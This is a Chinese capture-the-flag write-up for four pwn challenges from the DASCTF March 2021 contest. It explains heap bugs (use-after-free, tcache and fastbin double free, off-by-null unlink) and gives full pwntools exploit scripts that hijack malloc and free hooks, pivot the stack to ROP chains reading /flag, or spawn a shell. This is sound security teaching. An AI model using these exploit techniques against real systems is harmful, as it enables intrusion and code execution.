2021DASCTF_Mar_pwn_wp

说实话最后一个小时还放题属实闪到了我的老腰了,不过为了ak还是去试了,17:59:19惊险交题,成了比赛时间内唯一一个ak了pwn的hhh

fruitpie

这个的话,程序其实很简单

首先申请一个较大的chunk,这样得到的chunk地址就会落在libc附近,借此计算出malloc_hook到堆地址的偏移

然后就是一个任意写0x10字节,下面还会再调用一次malloc,那么将one_gadget写到malloc_hook,配合上realloc即可实现夺权

最后这里close(1)了,重定向一下

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
local=0
if local:
sh=process('./pwn')
else:
sh=remote("54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com",51302)

libc=ELF('./libc.so.6')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
one_gadget=[0x4f365,0x4f3c2,0x10a45c]
# pause()
sa("Enter the size to malloc:",str(99999999))
ru("0x")
addr=int(rc(12),16)
leak("addr",addr)

libc_base=addr+0x5f5eff0
leak("libc_base",libc_base)
malloc_hook=libc_base+libc.sym['__malloc_hook']
one=libc_base+one_gadget[1]
realloc=libc_base+libc.sym['realloc']

offset=0x634ac18

# pause()
sla("Offset:",hex(offset)[2:])
sa("Data:",p64(one)+p64(realloc+0x4))
sl("exec 1>&0")
ti()

ParentSimulator

开了沙箱,同时还要root才能运行,说实话太影响我调试了,直接把这里的jz改成jnz:

方法很简单,这里的74改成75就行:

漏洞也很明显:

libc-2.31下的uaf,这里free了之后不能show,不能edit_name,不能edit_description,但是可以继续free,并且有一次change_gender的机会,可以借此修改tcache的key值来double free一次

这样一来就有了两个指向同一地址的指针,借此来完成libc的泄露跟任意写

这里开了沙箱,所以我这里是找到一个可用的gadget写到free_hook,在对上提前布置好orw链,然后实现栈迁移到堆上

这里用到的gadget如下:

rdi可控,[rdi+0x48]可控,实现rbp可控,同时rax可控,在[rax+0x28]处放上leave_retn即可实现栈迁移(从其他大佬那里学来的技巧hhh)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwnimport *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
local=0
if local:
sh=process('./pwn')
libc=ELF('./libc-2.31.so')
else:
sh=remote("pwn.machine.dasctf.com",50703)
libc=ELF('./libc-2.31.so')

sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def add(idx,gender,name):
sla(">> ","1")
sla("Please input index?",str(idx))
sla("Please choose your child's gender.\n1.Boy\n2.Girl:",str(gender))
sa("Please input your child's name:",name)
def edit_name(idx,name):
sla(">> ","2")
sla("Please input index?",str(idx))
sa("Please input your child's new name:",name)
def show(idx):
sla(">> ","3")
sla("Please input index?",str(idx))
def delete(idx):
sla(">> ","4")
sla("Please input index?",str(idx))
def edit_description(idx,content):
sla(">> ","5")
sla("Please input index?",str(idx))
sa("Please input your child's description:",content)
def change(idx,gender):
sla(">> ","666")
sla("Please input index?",str(idx))
sla("Please rechoose your child's gender.\n1.Boy\n2.Girl:",str(gender))

sleep(1)

for i in range(8):
add(i,1,'a')

delete(6)

sla(">> ","666")
sla("Please input index?",str(6))
ru("Current gender:")
heap_addr=u64(rc(6).ljust(8,"\x00"))
leak('heap_addr',heap_addr)
sla("Please rechoose your child's gender.\n1.Boy\n2.Girl:",str(2))

delete(6)

add(6,1,'a')
add(8,1,'a')#8==6

for i in range(6):
delete(i)
delete(7)
delete(6)
show(8)

main_arena=u64(ru("\x7f")[-6:].ljust(8,"\x00"))-0x60
leak("main_arena",main_arena)
libc_base=main_arena-0x1ebb80
leak("libc_base",libc_base)
free_hook=libc_base+libc.sym['__free_hook']

open_addr=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
puts=libc_base+libc.sym['puts']
poprdi=libc_base+0x26b72
poprsi=libc_base+0x27529
poprdx_r12=libc_base+0x11c1e1
leave_ret=libc_base+0x000000000005aa48
gadget=libc_base+0x157BFA
add_rsp_0x18_ret=libc_base+0x000000000003794a
ret=libc_base+0x0000000000025679

for i in range(6):
add(i,1,'a')
add(7,1,'a')

add(6,1,'a')

delete(7)
delete(6)

edit_name(8,p64(free_hook)[:-1])

add(6,1,'a')
add(7,1,p64(gadget)[:-1])

payload="/flag\x00\x00"
payload=payload.ljust(0x30,"a")
payload+=p64(heap_addr+0x900)*2
payload+=p64(leave_ret)*2
edit_description(0,payload)

payload=p64(add_rsp_0x18_ret)*2+p64(heap_addr+0xa28)*2+p64(ret)*3
payload+=p64(poprdi)+p64(heap_addr+0xa10)
payload+=p64(poprsi)+p64(0)
payload+=p64(poprdx_r12)+p64(0)*2
payload+=p64(open_addr)

payload+=p64(poprdi)+p64(4)
payload+=p64(poprsi)
payload+=p64(heap_addr+0x400)
payload+=p64(poprdx_r12)+p64(0x50)+p64(0)
payload+=p64(read)

payload+=p64(poprdi)
payload+=p64(heap_addr+0x400)
payload+=p64(puts)

edit_description(6,payload)
leak("poprdi",poprdi)
leak("gadget",gadget)

# pause()
delete(0)
# pause()
ti()

clown

libc-2.32下的uaf

由于没有edit功能,难以利用tcache完成攻击

这里我就利用了fastbin的double free来实现任意写

后来想想其实合并unsorted bin然后切割造成堆块重叠也是可以的,我好像把问题复杂化了。。

这里还需要注意的就是libc-2.32下的fastbin和tcache都有着PROTECT_PTR的机制,具体可以自行翻阅源码:

具体就是会将free的chunk的地址右移12位后与tcache->entries作异或之后写入fd,前几天的VNCTF就遇到了

这题也开了沙箱,这题我用的是setcontext,由于2.32下setcontext的参数从rdx变成了rdi,我们这里需要利用一个gadget,通过rdi控制rdx:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
local=0
if local:
sh=process('./pwn')
libc=ELF('./libc.so.6')
else:
sh=remote("pwn.machine.dasctf.com",51801)
libc=ELF('./libc.so.6')

sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def add(size,content):
sla(">> ","1")
sla("Size: ",str(size))
sa("Content: ",content)
def show(idx):
sla(">> ","3")
sla("Index: ",str(idx))
def delete(idx):
sla(">> ","2")
sla("Index: ",str(idx))

sleep(1)

add(0xf0,'a'*0xe0+p64(0)+p64(0x71))#0
for i in range(8):#1--8
add(0xf0,'a')
for i in range(10):#9-18
add(0x68,'a')

for i in range(7,0,-1):
delete(i)
delete(8)

add(0x100,'a')#19

show(8)
main_arena=u64(ru("\x7f")[-6:].ljust(8,"\x00"))-0x60-0xf0
libc_base=main_arena-0x1b7ba0
free_hook=libc_base+libc.sym['__free_hook']
leak("libc_base",libc_base)

for i in range(7):
delete(i+9)#9--15

delete(16)
show(16)
ru("\n")
heap_base=u64(ru("\n")[:-1].ljust(8,"\x00"))<<12
leak("heap_base",heap_base)
delete(17)
delete(16)

key=heap_base>>12
key=key^(heap_base+0x390)

for i in range(7):
add(0x68,'a')#20--26

add(0x68,p64(key))#27
add(0x68,'a')#28
add(0x68,p64(key))#29

key=heap_base>>12
key=key^(free_hook)
add(0x68,p64(0)+p64(101)+p64(key))#30

add(0xf0,'a')#31

gadget=libc_base+0x0000000000124990
setcontext=libc_base+libc.sym['setcontext']
leave_retn=libc_base+0x000000000004d317
poprdi=libc_base+0x00000000000277d6
poprsi=libc_base+0x0000000000032032
poprdx=libc_base+0x00000000000c800d
open_addr=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
puts=libc_base+libc.sym['puts']
#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

payload=p64(heap_base+0x1110)+p64(heap_base+0x1110)+p64(setcontext+53)*4
#rdx=heap_base+0x1110
payload+='a'*0x48
payload+=p64(heap_base+0x1220)#rbp
payload=payload.ljust(0xa0,'a')
payload+=p64(free_hook-0x10)#rsp
payload+=p64(leave_retn)#rcx

add(0x100,payload)#32

payload="/flag\x00\x00\x00"
payload+=p64(poprdi)
payload+=p64(heap_base+0x1220)
payload+=p64(poprsi)+p64(0)
payload+=p64(poprdx)+p64(0)
payload+=p64(open_addr)

payload+=p64(poprdi)+p64(3)
payload+=p64(poprsi)+p64(heap_base+0x500)
payload+=p64(poprdx)+p64(0x50)
payload+=p64(read)

payload+=p64(poprdi)+p64(heap_base+0x500)
payload+=p64(puts)

add(0x100,payload)#33

add(0xf0,p64(gadget))#34
leak("gadget",gadget)
leak("poprdi",poprdi)
# pause()
delete(32)
ti()

babybabybabyheap

最后一个小时才放出来的题,首先恢复下符号名

上来也直接白给了puts的地址

漏洞就是有一次off-by-null的机会:

话说这题一眼看去,got表可改,没开pie,off-by-null,一想就是unlink然后对got表任意读写,但是,由于edit只有一次机会,所以unlink之后就没机会对got表操作了

但是,可以通过unlink将一个正在使用的chunk错误地合并进unsorted bin,然后通过切割unsorted bin,造成堆块重叠,从而控制tcache指针

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
local=0
if local:
sh=process('./pwn')
libc=ELF('./libc-2.31.so')
else:
sh=remote("pwn.machine.dasctf.com",51700)
libc=ELF('./libc-2.31.so')

sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def add(idx,size,content):
sla(">> ","1")
sla("index?",str(idx))
sla("size?",str(size))
sla("content?",content)
def edit(idx,content):
sla(">> ","4")
sa("Sure to exit?(y/n)","n")
sla("index?",str(idx))
sla("content?",content)
def show(idx):
sla(">> ","2")
sla("index?",str(idx))
def delete(idx):
sla(">> ","3")
sla("index?",str(idx))

sleep(1)

ru("0x")
puts=int(rc(12),16)
libc_base=puts-libc.sym['puts']
leak("libc_base",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
for i in range(7):
add(i+2,0x1f8,'a')
ptr=0x404140
add(0,0x108,p64(0)+p64(0x221)+p64(ptr-0x18)+p64(ptr-0x10))
add(15,0x118,'a')
add(9,0x1f8,p64(0)+p64(0x21)*16)
add(10,0x118,'a')

for i in range(7):
delete(i+2)

payload='a'
payload=payload.ljust(0x110,'a')
payload+=p64(0x220)
edit(15,payload)
delete(9)

add(16,0x150,'a')

delete(10)
delete(15)
delete(16)
add(18,0x150,"/bin/sh\x00"+'a'*0xf8+p64(free_hook))

add(19,0x118,p64(system))
add(20,0x118,p64(system))
# pause()
delete(18)
ti()
0%